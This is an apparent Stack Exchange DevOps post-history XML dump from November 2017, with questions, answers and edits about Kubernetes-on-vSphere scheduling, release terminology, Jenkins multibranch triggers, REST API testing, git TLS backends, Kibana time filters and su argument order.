  <row Id="8023" PostHistoryTypeId="1" PostId="2565" RevisionGUID="4706659e-907d-4902-8aed-e0b1e5a7ce8a" CreationDate="2017-11-16T07:01:58.933" UserId="707" Text="Scheduling collisions possible in IaC - Infrastructure as Code - solutions vs. software defined data center?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8024" PostHistoryTypeId="3" PostId="2565" RevisionGUID="4706659e-907d-4902-8aed-e0b1e5a7ce8a" CreationDate="2017-11-16T07:01:58.933" UserId="707" Text="&lt;performance&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8025" PostHistoryTypeId="2" PostId="2566" RevisionGUID="91daf06e-c03d-43f1-92a9-1e7b3de10b9a" CreationDate="2017-11-16T10:14:28.627" UserId="13" Text="I disagree with your definition, kubernetes, openshift and other are scheduler and as such should go in the SDDC part. IaC things are Vagrant/Terraform/Cloudformation/Vmware Cloud management. They are about writing code to define the infrastructure.&#xD;&#xA;&#xD;&#xA;With this in mind k8s may fit both, a `deployment.yml` is IaC to drive the k8s SDDC.&#xD;&#xA;&#xD;&#xA;Let take exemple for a k8s cluster running on top of vSphere infrastructure:  &#xD;&#xA;You have a scheduler k8s on top of another scheduler vSphere. SDDC on top of another SDDC.  &#xD;&#xA;&#xD;&#xA;K8s is concerned by its node load (which are vSphere VM), vSphere is concerned by its nodes load (ESXi hosts).  &#xD;&#xA;With this in mind k8s will move pods (containers) around its nodes, where vSphere will move k8s nodes around its hosts.&#xD;&#xA;&#xD;&#xA;This indeed could lead to a spike or freeze of k8s nodes when both wish to move their loads at the same time. The solution is just an architecture solution: disable vSphere DRS on your k8s nodes so there won't be a move of your k8s nodes around while they are already moving containers.&#xD;&#xA;&#xD;&#xA;Each time you overlay systems with the same behavior, you have to plan their definition properly to avoid race conditions. &#xD;&#xA;&#xD;&#xA;Worst case would be running a docker swarm cluster on top of kubernetes on top of mesos on top of vSphere infrastructure on top of Nutanix partitions. (Absolutely doable but I don't think anyone would do that out of demonstration purposes)&#xD;&#xA;&#xD;&#xA;So yes, this setup makes sense, it mainly require a careful design of all layers to achieve the best performances. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8026" PostHistoryTypeId="2" PostId="2567" RevisionGUID="e0955b16-199f-40c7-905c-2c21cd5ff095" CreationDate="2017-11-16T12:57:53.317" UserId="5236" Text="I'm looking for a term that unambiguously describes the process of **promoting** a &quot;deployment bundle&quot; (for lack of a more accurate/technical term) from one deployment environment to another, from Development towards Production (or whatever environments there might be in between). I am talking specifically about the context of release management, where each environment has its own dedicated purpose (development, integration testing, user acceptance testing, staging, production, etc.), and which succeed each other in a defined, usually the same, order (of importance or quality).&#xD;&#xA;&#xD;&#xA;I had previously thought this process was called **staging** (since I heard the term in this exact context, in multiple projects and teams), before research - especially this discussion: https://devops.stackexchange.com/questions/1359/what-is-or-could-be-the-formal-and-or-officially-established-definion-of-a-sta/1453#1453 - proved me wrong.&#xD;&#xA;&#xD;&#xA;More broadly speaking, I'd like to clear some ambiguity in DevOps terminology, so please also correct any wrong assumptions I might have made in my question." ContentLicense="CC BY-SA 3.0" />
  <row Id="8027" PostHistoryTypeId="1" PostId="2567" RevisionGUID="e0955b16-199f-40c7-905c-2c21cd5ff095" CreationDate="2017-11-16T12:57:53.317" UserId="5236" Text="What's the term for moving/promoting code between deployment environments" ContentLicense="CC BY-SA 3.0" />
  <row Id="8028" PostHistoryTypeId="3" PostId="2567" RevisionGUID="e0955b16-199f-40c7-905c-2c21cd5ff095" CreationDate="2017-11-16T12:57:53.317" UserId="5236" Text="&lt;terminology&gt;&lt;deployment&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8029" PostHistoryTypeId="50" PostId="1561" RevisionGUID="0956bbbf-1429-4f4a-bc53-ad21a5cd2136" CreationDate="2017-11-16T13:00:43.787" UserId="-1" />
  <row Id="8030" PostHistoryTypeId="5" PostId="2567" RevisionGUID="8638a437-19b1-4b98-91b6-ab6c7a43cebb" CreationDate="2017-11-16T13:05:18.610" UserId="5236" Comment="added clarification" Text="I'm looking for a term that unambiguously describes the process of **promoting** a &quot;deployment bundle&quot; (for lack of a more accurate/technical term) from one deployment environment to another, from Development towards Production (or whatever environments there might be in between). I am talking specifically about the context of release management, where each environment has its own dedicated purpose (development, integration testing, user acceptance testing, staging, production, etc.), and which succeed each other in a defined, usually the same, order (of importance or quality).&#xD;&#xA;&#xD;&#xA;I had previously thought this process was called **staging** (since I heard the term in this exact context, in multiple projects and teams), before research - especially this discussion: https://devops.stackexchange.com/questions/1359/what-is-or-could-be-the-formal-and-or-officially-established-definion-of-a-sta/1453#1453 - proved me wrong.&#xD;&#xA;&#xD;&#xA;My guess is that I might end up using the term **deployment** itself, but I'd like to further differentiate between the processes of *deploying source code to a server* and *moving to a different environment in accordance with some specific process* (e.g. end-to-end test successful, reviewed by release manager, etc.), especially since there might be a different(ly implemented) process for each.&#xD;&#xA;&#xD;&#xA;More broadly speaking, I'd like to clear some ambiguity in DevOps terminology, so please also correct any wrong assumptions I might have made in my question." ContentLicense="CC BY-SA 3.0" />
  <row Id="8031" PostHistoryTypeId="2" PostId="2568" RevisionGUID="b2a2410d-0313-4239-94f4-ad54345a23a0" CreationDate="2017-11-16T13:07:57.297" UserId="5237" Text="I  am using jenkins multibranch pipelines. If a branch is merged and deleted jenkins removes the branch from the pipeline as well.&#xD;&#xA;&#xD;&#xA;This is great, but I want to run a command/script when a branch is removed, how can I have jenkins run a command when a branch is removed? Is there a way to have jenkins trigger a job before it removes the branch?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8032" PostHistoryTypeId="1" PostId="2568" RevisionGUID="b2a2410d-0313-4239-94f4-ad54345a23a0" CreationDate="2017-11-16T13:07:57.297" UserId="5237" Text="How do I trigger scripts on a merge or when I branch is deleted?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8033" PostHistoryTypeId="3" PostId="2568" RevisionGUID="b2a2410d-0313-4239-94f4-ad54345a23a0" CreationDate="2017-11-16T13:07:57.297" UserId="5237" Text="&lt;jenkins&gt;&lt;git&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8034" PostHistoryTypeId="2" PostId="2569" RevisionGUID="8b7fae70-c985-4797-b272-203a267a682b" CreationDate="2017-11-16T13:40:13.697" UserId="707" Text="I have noticed during integration testing taht I work actually on recurring use cases with restful APIs (or in general HTTP interfaces) I check here and there with bash+cURL. &#xD;&#xA;&#xD;&#xA;It starts looking quite messy and gets harder to maintain. Why deliver mess?&#xD;&#xA;&#xD;&#xA;Typical use cases are:&#xD;&#xA;&#xD;&#xA;- Check that an URL returns http response code e.g. 200&#xD;&#xA;- Check that content type matches some MIME you need in that case&#xD;&#xA;- Check that returned content matches some pattern, or passes an abstract validation procedure&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I have found so far and consider a workable option without reinventing the weel, is:&#xD;&#xA;- have a go with PyCurl - in a hope it fully implements all cURL options esp. proxying but also other switches I might need&#xD;&#xA;- use Python's built in unit testng&#xD;&#xA;&#xD;&#xA;Then I could have one for example one unit test per service I'd like to check:&#xD;&#xA;&#xD;&#xA;    import unittest, pycurl&#xD;&#xA;    &#xD;&#xA;    class TestService (unittest.TestCase):&#xD;&#xA;    &#xD;&#xA;        def test_1(self):&#xD;&#xA;            self.assertEqual(pycurl.returncode(&quot;some_url&quot;), 200)&#xD;&#xA;    &#xD;&#xA;        def test_2(self):&#xD;&#xA;            self.assertTrue(pycurl.response(&quot;some_url&quot;).matches (&quot;xxx&quot;) )&#xD;&#xA;    &#xD;&#xA;        def test_3(self):&#xD;&#xA;            self.assertTrue (pycurl.ContentType(&quot;some_url&quot;).equal(&quot;xxx&quot;))&#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        unittest.main()&#xD;&#xA;&#xD;&#xA;Does this make sense or is there a more high-level (but not too complex to pick up and inegrate) tooling? " ContentLicense="CC BY-SA 3.0" />
  <row Id="8035" PostHistoryTypeId="1" PostId="2569" RevisionGUID="8b7fae70-c985-4797-b272-203a267a682b" CreationDate="2017-11-16T13:40:13.697" UserId="707" Text="A systematic way to test RESTful APIs with curl" ContentLicense="CC BY-SA 3.0" />
  <row Id="8036" PostHistoryTypeId="3" PostId="2569" RevisionGUID="8b7fae70-c985-4797-b272-203a267a682b" CreationDate="2017-11-16T13:40:13.697" UserId="707" Text="&lt;testing&gt;&lt;continuous-deployment&gt;&lt;python&gt;&lt;curl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8037" PostHistoryTypeId="5" PostId="2569" RevisionGUID="c627d0be-fedb-4f3e-8e08-0cc2b4d97cd5" CreationDate="2017-11-16T14:28:11.250" UserId="707" Comment="added 1 character in body" Text="I have noticed during integration testing taht I work actually on recurring use cases with restful APIs (or in general HTTP interfaces) I check here and there with bash+cURL. &#xD;&#xA;&#xD;&#xA;It starts looking quite messy and gets harder to maintain. Why deliver mess?&#xD;&#xA;&#xD;&#xA;Typical use cases are:&#xD;&#xA;&#xD;&#xA;- Check that an URL returns http response code e.g. 200&#xD;&#xA;- Check that content type matches some MIME you need in that case&#xD;&#xA;- Check that returned content matches some pattern, or passes an abstract validation procedure&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I have found so far and consider a workable option without reinventing the wheel, is:&#xD;&#xA;- have a go with PyCurl - in a hope it fully implements all cURL options esp. proxying but also other switches I might need&#xD;&#xA;- use Python's built in unit testng&#xD;&#xA;&#xD;&#xA;Then I could have one for example one unit test per service I'd like to check:&#xD;&#xA;&#xD;&#xA;    import unittest, pycurl&#xD;&#xA;    &#xD;&#xA;    class TestService (unittest.TestCase):&#xD;&#xA;    &#xD;&#xA;        def test_1(self):&#xD;&#xA;            self.assertEqual(pycurl.returncode(&quot;some_url&quot;), 200)&#xD;&#xA;    &#xD;&#xA;        def test_2(self):&#xD;&#xA;            self.assertTrue(pycurl.response(&quot;some_url&quot;).matches (&quot;xxx&quot;) )&#xD;&#xA;    &#xD;&#xA;        def test_3(self):&#xD;&#xA;            self.assertTrue (pycurl.ContentType(&quot;some_url&quot;).equal(&quot;xxx&quot;))&#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        unittest.main()&#xD;&#xA;&#xD;&#xA;Does this make sense or is there a more high-level (but not too complex to pick up and inegrate) tooling? " ContentLicense="CC BY-SA 3.0" />
  <row Id="8038" PostHistoryTypeId="4" PostId="2569" RevisionGUID="4bf2ba8e-214f-41c8-9c96-0b7809614d80" CreationDate="2017-11-16T14:57:50.127" UserId="707" Comment="edited title" Text="A systematic way to test RESTful APIs with curl?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8039" PostHistoryTypeId="2" PostId="2570" RevisionGUID="48140e06-6643-4287-b21a-9133148ac754" CreationDate="2017-11-16T15:35:26.603" UserId="707" Text="This has worked - the following query has to return content-type application/xml:&#xD;&#xA;&#xD;&#xA;     /solr/COLLECTION/select?q=*:*&amp;rows=0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8040" PostHistoryTypeId="50" PostId="2341" RevisionGUID="be7f6fec-e92c-419b-a7ba-4b0ee3e42211" CreationDate="2017-11-16T16:00:28.240" UserId="-1" />
  <row Id="8041" PostHistoryTypeId="5" PostId="2569" RevisionGUID="ee69634c-3cb3-4e65-abc2-2b1dec1eaff8" CreationDate="2017-11-16T16:02:36.603" UserId="47" Comment="improved readability" Text="I have noticed during integration testing that I actually work on recurring use cases with restful APIs (or in general HTTP interfaces) I check here and there with bash+cURL. &#xD;&#xA;&#xD;&#xA;It starts looking quite messy and gets harder to maintain. Why deliver mess?&#xD;&#xA;&#xD;&#xA;Typical use cases are:&#xD;&#xA;&#xD;&#xA;- Check that an URL returns http response code e.g. 200&#xD;&#xA;- Check that content type matches some MIME you need in that case&#xD;&#xA;- Check that returned content matches some pattern, or passes an abstract validation procedure&#xD;&#xA;&#xD;&#xA;What I have found so far and consider a workable option without reinventing the wheel, is:&#xD;&#xA;&#xD;&#xA;- have a go with PyCurl - in a hope it fully implements all cURL options esp. proxying but also other switches I might need&#xD;&#xA;- use Python's built in unit testng&#xD;&#xA;&#xD;&#xA;Then I could have, for example, one unit test per service I'd like to check:&#xD;&#xA;&#xD;&#xA;    import unittest, pycurl&#xD;&#xA;    &#xD;&#xA;    class TestService (unittest.TestCase):&#xD;&#xA;    &#xD;&#xA;        def test_1(self):&#xD;&#xA;            self.assertEqual(pycurl.returncode(&quot;some_url&quot;), 200)&#xD;&#xA;    &#xD;&#xA;        def test_2(self):&#xD;&#xA;            self.assertTrue(pycurl.response(&quot;some_url&quot;).matches (&quot;xxx&quot;) )&#xD;&#xA;    &#xD;&#xA;        def test_3(self):&#xD;&#xA;            self.assertTrue (pycurl.ContentType(&quot;some_url&quot;).equal(&quot;xxx&quot;))&#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        unittest.main()&#xD;&#xA;&#xD;&#xA;Does this make sense or is there a more high-level (but not too complex to pick up and integrate) tooling? " ContentLicense="CC BY-SA 3.0" />
  <row Id="8042" PostHistoryTypeId="2" PostId="2571" RevisionGUID="435a59eb-dbe3-485f-b02a-566ece50ba64" CreationDate="2017-11-16T16:53:59.013" UserId="2845" Text="You may wish to try scripting the actions you want. Then use [git hooks](https://git-scm.com/book/gr/v2/Customizing-Git-Git-Hooks) to trigger your scripts to release the latest code to your environment. Alternatively, you could [use something](https://aws.amazon.com/blogs/devops/set-up-a-build-pipeline-with-jenkins-and-amazon-ecs/) like Jenkins to configure a [&quot;push on green&quot;](https://devops.stackexchange.com/questions/573/what-is-push-on-green) system if you are working with compiled code. Lastly, (though I haven't used them) Amazon claims that their [CodePipeline product](https://aws.amazon.com/codepipeline/) can do this (and perhaps [CodeBuild](https://aws.amazon.com/codebuild/) can as well), though my personal preference is to keep things as generic as possible and avoid drinking Amazon's Kool-Aid in order to keep things portable. Like a drug dealer, the first hit may be free with Amazon, and things are great until they have you hooked and decide to jack up the price. Utilizing my own open source system ensures that I can easily take my ball and go to another cloud or home altogether (and host it myself) in the event that I need to make a rapid exit from Amazon's cloud and avoids lock-in." ContentLicense="CC BY-SA 3.0" />
  <row Id="8043" PostHistoryTypeId="2" PostId="2572" RevisionGUID="e651bea6-8abc-44a9-9db2-483cda6ab0bb" CreationDate="2017-11-16T17:01:07.697" UserId="2845" Text="It sounds like maybe you need to configure a [webhook](https://developer.github.com/webhooks/) for git if you are using the [git plugin](https://wiki.jenkins.io/display/JENKINS/Git+Plugin), but I think that may just build the master branch. I haven't used git much, so you might be able to use the web hook to have it build the pull request - I don't know.&#xD;&#xA;&#xD;&#xA;Instead, you might want to check out the [pull request builder plugin](https://wiki.jenkins.io/display/JENKINS/GitHub+pull+request+builder+plugin) and see if that does what you are looking for." ContentLicense="CC BY-SA 3.0" />
  <row Id="8044" PostHistoryTypeId="2" PostId="2573" RevisionGUID="e90abc42-82ba-4f50-aba5-b226b73c0c0e" CreationDate="2017-11-16T19:26:28.457" UserId="707" Text="Imagine you have resources for a job which has part 1 and part 2.&#xD;&#xA;&#xD;&#xA;Part 2 requires part 1, but both take considerable time.&#xD;&#xA;&#xD;&#xA;And, part 2 requires part 1 only at the end.&#xD;&#xA;&#xD;&#xA;Would you start them both in parallel and let part 2 somehow wait for part 1 getting ready? (chances are it 50/50 it will be ready by then)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8045" PostHistoryTypeId="1" PostId="2573" RevisionGUID="e90abc42-82ba-4f50-aba5-b226b73c0c0e" CreationDate="2017-11-16T19:26:28.457" UserId="707" Text="Parallelizing dependent CI subjobs" ContentLicense="CC BY-SA 3.0" />
  <row Id="8046" PostHistoryTypeId="3" PostId="2573" RevisionGUID="e90abc42-82ba-4f50-aba5-b226b73c0c0e" CreationDate="2017-11-16T19:26:28.457" UserId="707" Text="&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8047" PostHistoryTypeId="6" PostId="2573" RevisionGUID="bac1aae1-e0c0-4b5c-bd01-8c6565b49436" CreationDate="2017-11-16T19:55:35.757" UserId="707" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8048" PostHistoryTypeId="2" PostId="2574" RevisionGUID="75ac6451-feb8-41ee-a4af-e5d6ff8eb43e" CreationDate="2017-11-16T20:03:19.410" UserId="707" Text="Imagine you have decided to abstract from exact service location.&#xD;&#xA;&#xD;&#xA;Normally, you have a cody world with the service name=DNS.&#xD;&#xA;&#xD;&#xA;Say, you have prototyped something with S3 compatible API like exoscale/pithos.&#xD;&#xA;&#xD;&#xA;But then you think okay this was actually a mockup and now you go for real S3 in production.&#xD;&#xA;&#xD;&#xA;Would you rewrite the stack, trick around with `${ENV_VARIABLES}` or is there some more elegant way to proceed?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8049" PostHistoryTypeId="1" PostId="2574" RevisionGUID="75ac6451-feb8-41ee-a4af-e5d6ff8eb43e" CreationDate="2017-11-16T20:03:19.410" UserId="707" Text="Dynamic service redirections in Docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="8050" PostHistoryTypeId="3" PostId="2574" RevisionGUID="75ac6451-feb8-41ee-a4af-e5d6ff8eb43e" CreationDate="2017-11-16T20:03:19.410" UserId="707" Text="&lt;docker&gt;&lt;microservices&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8051" PostHistoryTypeId="2" PostId="2575" RevisionGUID="7e91728d-1586-4d7c-913a-cc7404c7e7e8" CreationDate="2017-11-16T21:26:20.493" UserId="47" Text="The critical question is - can you teach your job #2 to patiently wait for job #1 to complete when it gets to that dependency point and appropriately proceed or bail depending on job #1 result?&#xD;&#xA;&#xD;&#xA;If you can't, then the answer is no - you'll have more trouble dealing with #2 failures due to incomplete job #1, too much noise in the process.&#xD;&#xA;&#xD;&#xA;If you can (and if you have enough resources) - yes, by all means - your process will be faster. You *might* not even need special support from the CI system for such dependencies, it could be completely oblivious, it would simply see the 2 jobs as parallel.&#xD;&#xA;&#xD;&#xA;A middle-ground possibility, if your CI systems supports it, would be to stagger the jobs: start job #2 with a delay sufficient to bring the chances of job #1 completing before job #2 needs it in a much more comfortable range (say 99%). The delay would be plain eyeballed or empirically determined, either fixed or, in a more advanced approach, automatically derived from historic measurements/stats (if available)." ContentLicense="CC BY-SA 3.0" />
  <row Id="8052" PostHistoryTypeId="2" PostId="2576" RevisionGUID="f9b07e9a-3074-430d-9d53-a0123a842f31" CreationDate="2017-11-17T01:12:57.473" UserId="5066" Text="Being unfamiliar with Kibana, I was not aware of the time constraint on data on the default search/display of just 15 minutes. The data coming in was timestamped (@timestamp key) via the 'date' plugin with the original open date, NOT the time of the, via TCP port to elastic, insertion event; thus, no data was showing and I had no idea that by default only the past 15 minutes of data based on @timestamp were displayed. If I had read the part about the time constraint I would have known. So I just adjusted the time to go back infinite years and saw my data.&#xD;&#xA;&#xD;&#xA;So, if anyone else is having this problem, it's probably because you created a time-dependent index and have not clicked the 'time' button in the top right corner and changed the time frame.&#xD;&#xA;&#xD;&#xA;This, my friends, is why you read the manual!&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8056" PostHistoryTypeId="5" PostId="2527" RevisionGUID="c886cc7f-77ad-43b4-82b4-65080551ce7d" CreationDate="2017-11-17T03:56:36.587" UserId="739" Comment="include -- version and busybox docs" Text="# wrong argument order to `su`&#xD;&#xA;&#xD;&#xA;`$ZOO_USER` needs to be the first argument to `su` with the `&quot;$@&quot;` coming afterwards.&#xD;&#xA;&#xD;&#xA;    su -c &quot;$0&quot; &quot;$ZOO_USER&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;It is ok for the options to come before the username.  It is a good idea to keep them in double quotes so that there aren't issues if someone accidentally puts spaces into it.&#xD;&#xA;&#xD;&#xA;Your error message reinforces that this is an order of arguments problem.&#xD;&#xA;&#xD;&#xA;# even better&#xD;&#xA;&#xD;&#xA;Based on comments this would be even better:&#xD;&#xA;&#xD;&#xA;    su -c &quot;$0&quot; &quot;$ZOO_USER&quot; -- &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## su man page excerpt&#xD;&#xA;&#xD;&#xA;&gt; Additional arguments may be provided after the username, in which case they are supplied to the user's login shell. In particular, an argument of&#xD;&#xA;`-c` will cause the next argument to be treated as a command by most command interpreters. The command will be executed by the shell specified in `/etc/passwd` for the target user.&#xD;&#xA;&#xD;&#xA;&gt; You can use the `--` argument to separate `su` options from the arguments supplied to the shell.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## busybox docs excerpt:&#xD;&#xA;&#xD;&#xA;According to the [docs busybox doesn't support](https://busybox.net/downloads/BusyBox.html) sending additional arguments to `su`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    su&#xD;&#xA;    su [OPTIONS] [-] [username]&#xD;&#xA;    &#xD;&#xA;    Change user id or become root&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;    &#xD;&#xA;            -p, -m  Preserve environment&#xD;&#xA;            -c CMD  Command to pass to 'sh -c'&#xD;&#xA;            -s SH   Shell to use instead of default shell" ContentLicense="CC BY-SA 3.0" />
  <row Id="8057" PostHistoryTypeId="5" PostId="2527" RevisionGUID="640263ec-586e-4b87-8b14-f49721a40311" CreationDate="2017-11-17T04:01:53.687" UserId="739" Comment="include -- version and busybox docs" Text="# wrong argument order to `su`&#xD;&#xA;&#xD;&#xA;`$ZOO_USER` needs to be the first argument to `su` with the `&quot;$@&quot;` coming afterwards.&#xD;&#xA;&#xD;&#xA;    su -c &quot;$0&quot; &quot;$ZOO_USER&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;It is ok for the options to come before the username.  It is a good idea to keep them in double quotes so that there aren't issues if someone accidentally puts spaces into it.&#xD;&#xA;&#xD;&#xA;Your error message reinforces that this is an order of arguments problem.&#xD;&#xA;&#xD;&#xA;# even better&#xD;&#xA;&#xD;&#xA;Based on comments this would be even better:&#xD;&#xA;&#xD;&#xA;    su -c &quot;$0&quot; &quot;$ZOO_USER&quot; -- &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## su man page excerpt&#xD;&#xA;&#xD;&#xA;&gt; Additional arguments may be provided after the username, in which case they are supplied to the user's login shell. In particular, an argument of&#xD;&#xA;`-c` will cause the next argument to be treated as a command by most command interpreters. The command will be executed by the shell specified in `/etc/passwd` for the target user.&#xD;&#xA;&#xD;&#xA;&gt; You can use the `--` argument to separate `su` options from the arguments supplied to the shell.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## busybox docs excerpt:&#xD;&#xA;&#xD;&#xA;In a comment the OP asked about why this wouldn't work in Alpine Linux.  Since alpine is based on `busybox` I looked up the busybox docs. &#xD;&#xA; According to the [docs busybox doesn't support](https://busybox.net/downloads/BusyBox.html) sending additional arguments to `su`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    su&#xD;&#xA;    su [OPTIONS] [-] [username]&#xD;&#xA;    &#xD;&#xA;    Change user id or become root&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;    &#xD;&#xA;            -p, -m  Preserve environment&#xD;&#xA;            -c CMD  Command to pass to 'sh -c'&#xD;&#xA;            -s SH   Shell to use instead of default shell" ContentLicense="CC BY-SA 3.0" />
  <row Id="8061" PostHistoryTypeId="4" PostId="2568" RevisionGUID="bb19161a-5ae5-4d89-97d9-2a37c4132553" CreationDate="2017-11-17T07:11:15.593" UserId="47" Comment="fixed typo in title" Text="How do I trigger scripts on a merge or when a branch is deleted?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8062" PostHistoryTypeId="50" PostId="1408" RevisionGUID="ba9e7568-9e04-46c3-b179-70b9097c8ca4" CreationDate="2017-11-17T08:11:18.617" UserId="-1" />
  <row Id="8063" PostHistoryTypeId="2" PostId="2579" RevisionGUID="d033a4fe-f646-4bf6-8d4f-0eda6a0a7f80" CreationDate="2017-11-17T10:04:07.120" UserId="13" Text="Been hit by this just today after a fresh install so here's how I got over it:&#xD;&#xA;&#xD;&#xA;From your logs (emphasis is mine):&#xD;&#xA;&#xD;&#xA;&gt; fatal: unable to access ... : **schannel**: next InitializeSecurityContext failed:&#xD;&#xA;&#xD;&#xA;git is configured to use schannel (windows native implementation), but schannel use windows certs bundle and not a the cainfo bundle.&#xD;&#xA;&#xD;&#xA;To switch to openssl to use a custom bundle file use this:&#xD;&#xA;&#xD;&#xA;`git config --system http.sslbackend openssl`&#xD;&#xA;&#xD;&#xA;And now git will honor the CA bundle passed in http.sslcainfo." ContentLicense="CC BY-SA 3.0" />
  <row Id="8064" PostHistoryTypeId="5" PostId="2579" RevisionGUID="2f7b5589-0b2d-41e4-bc1d-2ee683f3ce00" CreationDate="2017-11-17T10:37:47.613" UserId="13" Comment="added 329 characters in body" Text="Been hit by this just today after a fresh install so here's how I got over it:&#xD;&#xA;&#xD;&#xA;From your logs (emphasis is mine):&#xD;&#xA;&#xD;&#xA;&gt; fatal: unable to access ... : **schannel**: next InitializeSecurityContext failed:&#xD;&#xA;&#xD;&#xA;git is configured to use schannel (windows native implementation), but schannel use windows certs bundle and not a the cainfo bundle.&#xD;&#xA;&#xD;&#xA;To switch to openssl to use a custom bundle file use this:&#xD;&#xA;&#xD;&#xA;`git config --system http.sslbackend openssl`&#xD;&#xA;&#xD;&#xA;And now git will honor the CA bundle passed in http.sslcainfo.&#xD;&#xA;&#xD;&#xA;Alternatively as my error was a problem of cypher suite you may be interested by the following links:&#xD;&#xA;&#xD;&#xA; - https://support.microsoft.com/en-us/help/3161639&#xD;&#xA; - in case you have still an old system (Win2k3) https://support.microsoft.com/en-us/help/948963/an-update-is-available-to-add-support-for-the-tls-rsa-with-aes-128-cbc" ContentLicense="CC BY-SA 3.0" />
  <row Id="8069" PostHistoryTypeId="2" PostId="2582" RevisionGUID="1c711bbe-0106-4f11-87c5-77c2126a5d29" CreationDate="2017-11-17T15:31:14.287" UserId="4328" Text="I don't think there is a generic term for promoting to production. I can tell you that within the devops community, terms are frequently interchanged. As long as the point being addressed is well thought out and made clear, the point can be understood. Some of the terms are used when referring to the movement between environments are **deploy**, **propagate**, **move**, **promote**, and **release**. I will say though, whenever I hear the term **stage**, I usually associate it with a pre-production environment. I think most others would assume the same. &#xD;&#xA;&#xD;&#xA;Within your organization/groups, I think it is important to try to be consistent with your terminology. This eliminates any confusion and assumptions people can make. An example would be, in my organization, we use the term **deploy** whenever we are referencing moving between environments except when referring to the production environment which we use the term **release**. This is to emphasize that is is the final movement in the pipeline/process. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8070" PostHistoryTypeId="5" PostId="2568" RevisionGUID="53143214-3128-4bc8-b98d-83b7a1fdb0cc" CreationDate="2017-11-17T15:35:59.703" UserId="5237" Comment="added 40 characters in body; added 153 characters in body" Text="I  am using jenkins multibranch pipelines. If a branch is merged and deleted jenkins removes the branch from the pipeline as well.&#xD;&#xA;&#xD;&#xA;This is great, but I want to run a command/script when a branch is removed, how can I have jenkins run a command when a branch is removed? Is there a way to have jenkins trigger a job before it removes the branch?&#xA;&#xA;Edit: I should add I'm using bitbucket. It would be neat if Jenkins could trigger an event when purging a branch of a multibranch pipeline. Ideally it wouldn't matter what my git provider is." ContentLicense="CC BY-SA 3.0" />
  <row Id="8072" PostHistoryTypeId="2" PostId="2583" RevisionGUID="d518cb54-6e58-4573-aa36-7ad44ecc0ba9" CreationDate="2017-11-17T16:25:44.730" UserId="4328" Text="As an update to this question, there is now [Terraform Test-Kitchen][1] which allows the testing of Terraform Configuration files without breaking production environments. The repository also includes a few [examples][2] for different Terraform providers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/newcontext-oss/kitchen-terraform&#xD;&#xA;  [2]: https://github.com/newcontext-oss/kitchen-terraform/tree/master/examples" ContentLicense="CC BY-SA 3.0" />
  <row Id="8073" PostHistoryTypeId="5" PostId="2582" RevisionGUID="ade8fc22-163a-40db-a5de-2d910be47881" CreationDate="2017-11-17T17:08:28.977" UserId="4328" Comment="added 5 characters in body" Text="I don't think there is a generic term for promoting to production. I can tell you that within the devops community, terms are frequently interchanged. As long as the point being addressed is well thought out and made clear, the point can be understood. Some of the terms that are used when referring to the movement between environments are **deploy**, **propagate**, **move**, **promote**, and **release**. I will say though, whenever I hear the term **stage**, I usually associate it with a pre-production environment. I think most others would assume the same. &#xD;&#xA;&#xD;&#xA;Within your organization/groups, I think it is important to try to be consistent with your terminology. This eliminates any confusion and assumptions people can make. An example would be, in my organization, we use the term **deploy** whenever we are referencing moving between environments except when referring to the production environment which we use the term **release**. This is to emphasize that it is the final movement in the pipeline/process. " ContentLicense="CC BY-SA 3.0" />
